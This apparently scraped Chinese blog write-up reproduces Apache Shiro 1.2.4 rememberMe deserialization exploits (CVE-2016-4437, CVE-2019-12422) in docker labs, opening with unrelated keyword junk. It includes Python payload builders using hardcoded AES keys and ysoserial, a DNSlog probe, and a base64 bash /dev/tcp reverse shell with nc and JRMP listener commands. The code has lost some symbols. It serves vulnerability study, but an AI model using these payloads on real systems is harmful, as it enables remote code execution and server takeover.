北京网站建设laitang,科技网站新版网站上线,浙江省2012年7月自学考试网站建设与网页设计,四川省建设厅职称查询网站文章目录 一、反序列化概念1.什么是序列化#xff1f;2.序列化出现场景 二、Apache Shiro 1.2.4反序列化漏洞1.定义2.Shiro反序列化漏洞原理3.漏洞特征 三、CVE-2016-4437漏洞复现(实验)1.搭建环境2.漏洞特征验证1)未登陆验证2)登陆失败验证3)登陆成功验证① 不勾选② 勾选 … 文章目录 一、反序列化概念1.什么是序列化2.序列化出现场景 二、Apache Shiro 1.2.4反序列化漏洞1.定义2.Shiro反序列化漏洞原理3.漏洞特征 三、CVE-2016-4437漏洞复现(实验)1.搭建环境2.漏洞特征验证1)未登陆验证2)登陆失败验证3)登陆成功验证① 不勾选② 勾选 4)Shiro漏洞验证方法5)漏洞利用 四、CVE-2019-12422漏洞复现(实验)1.搭建环境2.检测是否为shiro框架3.制作payload路径下获得了一个payload.cookie4.漏洞验证5.漏洞利用(反弹shell)① VPS监听端口② 构造shell命令③ 开启JRMP服务④ 构造payload⑤ 前台登录⑥ 追加cookie 一、反序列化概念
1.什么是序列化
序列化就是把对象转换成字节流便于保存在内存、文件、数据库中,保证对象的完整性 和可传递性 反序列化即逆过程由字节流还原成对象。根据字节流中保存的对象状态及描述信息 通过反序列化重建对象。
2.序列化出现场景
●远程和进程间通信RPC/IPC ●连线协议、Web服务、消息代理 ●缓存/持久性存储区 ●数据库、缓存服务器、文件系统 ●HTTP cookie、HTML表单参数、API身份验证令牌
二、Apache Shiro 1.2.4反序列化漏洞
1.定义
Apache Shiro是一个强大且易用的Java安全框架执行身份验证、授权、密码和会话管 理。使用Shiro的易于理解的API可以快速、轻松地获得任何应用程序,从最小的移动应 用程序到最大的网络和企业应用程序。 漏洞影响版本 Apache Shiro 1.2.4
2.Shiro反序列化漏洞原理
AES加密的密钥Key被硬编码在代码里Shiro是开源软件意味着每个人通过源代码 都能拿到AES加密的密钥。因此攻击者构造一个恶意的对象并且对其序列化 AES加密base64编码后作为cookie的rememberMe字段发送。Shiro将 rememberMe进行解密并且反序列化最终造成反序列化漏洞。 在服务端接收cookie值时按照如下步骤来解析处理 检索RememberMe cookie 的值 Base 64解码 使用AES解密(加密密钥硬编码) 进行反序列化操作生成用户登录信息对象未作过滤处理 在调用反序列化时未进行任何过滤导致可以触发远程代码执行漏洞。
3.漏洞特征
shiro反序列化的特征 返回包中存在 rememberMedeleteMe 字段
三、CVE-2016-4437漏洞复现(实验)
1.搭建环境
使用vulhub进行环境搭建cd shiro/CVE-2016-4437 执行docker-compose up -d启动漏洞环境
访问8080
2.漏洞特征验证
1)未登陆验证
使用BP抓包未登陆的情况下请求包的cookie中没有rememberMe字段返回包set-Cookie里也没有deleteMe字段
2)登陆失败验证
登陆失败的话不管勾不勾选RememberMe字段返回包中都会有rememberMedeleteMe字段
3)登陆成功验证
使用正确账号admin:vulhub进行登录
① 不勾选
不勾选RememberMe字段登陆成功的话返回包set-Cookie会有 rememberMedeleteMe字段。
但是之后的所有请求中Cookie都不会有rememberMe
② 勾选
勾选RememberMe字段登陆成功的话返回包set-Cookie会有 rememberMedeleteMe字段还会有rememberMe字段的所有请求
之后中Cookie都会有rememberMe字段
4)Shiro漏洞验证方法
如何判断网站是否使用shiro 找到网站登录的地方 随便输入账号密码抓包一定要输入点击登录看返回包是否有remembeMe字段如我们直接访问登录的页面不进行登录此时返回的数据包是没有remember字段的 如果没有remembeMe 还可以尝试在请求包中的cookie中加入 rememberMe1 来查看返回包是否有rememberMedeleteMe字段。如果cookie字段有值则先清空这时我们手动加上一个cookie:rememberMe1注意cookie要放在Upgrade的上面则返回了remember字段。说明使用了shiro框架可能存在shiro反序列化漏洞
5)漏洞利用
手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进 行漏洞利用这里漏洞检测和利用的方式有两种 第一种是使用jar工具进行验证。 第二种方式是使用python脚本进行验证。 使用jar工具检测是否存在shiro漏洞执行命令
反弹shell
四、CVE-2019-12422漏洞复现(实验)
1.搭建环境
获取docker镜像docker pull medicean/vulapps:s_shiro_1
启动docker镜像docker run -d -p 8082:8080 medicean/vulapps:s_shiro_1
点击account_page
2.检测是否为shiro框架
开启bp抓包发现返回包存在Set-Cookie 中存在 rememberMedeleteMe 字段
3.制作payload
dnslog申请一个临时域名 shiro.py内容如下
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen subprocess.Popen([java, -jar, ysoserial-master-SNAPSHOT.jar, URLDNS, command], stdoutsubprocess.PIPE)BS AES.block_sizepad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key kPHbIxk5D2deZiIxcaaaA#key Z3VucwAAAAAAAAAAAAAAAA#key wGiHplamyXlVB11UXWol8gmode AES.MODE_CBCiv uuid.uuid4().bytesencryptor AES.new(base64.b64decode(key), mode, iv)file_body pad(popen.stdout.read())base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body))return base64_ciphertextif __name__ __main__:payload encode_rememberme(sys.argv[1]) with open(payload.cookie, w) as fpw:print(rememberMe{0}.format(payload.decode()),filefpw)使用shiro.py 脚本生成检测payload(dns解析)
例如python shiro.py “http://4xakbz.dnslog.cn” 需安装crypto
路径下获得了一个payload.cookie
4.漏洞验证
把刚刚生成的payload.cookie粘贴到包里burp发包查看dnslog是否存在dns解析记录 dnslog出现回显说明存在漏洞
5.漏洞利用(反弹shell)
① VPS监听端口
nc -lvvp 10808
② 构造shell命令
构造反弹shell命令并且进行base64编码 /bin/bash -i /dev/tcp/192.168.155.2/10808 01 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ
③ 开启JRMP服务
在VPS开启一个JRMP(端口设置1099) java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ}|{base64,-d}|{bash,-i}”
④ 构造payload
使用s.py构造payload使存在shiro反序列化的服务器 python3 s.py 192.168.155.2:1099攻击者监听的端口 s.py内容如下
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen subprocess.Popen([java, -jar, ysoserial-master-SNAPSHOT.jar, JRMPClient, command], stdoutsubprocess.PIPE)BS AES.block_sizepad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key base64.b64decode(kPHbIxk5D2deZiIxcaaaA)iv uuid.uuid4().bytesencryptor AES.new(key, AES.MODE_CBC, iv)file_body pad(popen.stdout.read())base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body))return base64_ciphertextif __name__ __main__:payload encode_rememberme(sys.argv[1])
print(rememberMe{0}.format(payload.decode()))⑤ 前台登录
注意需要勾选Remember Me 截获数据包加入payload将payload发送服务器
⑥ 追加cookie
将s.py生成的内容追加到cookie后面
反弹shell成功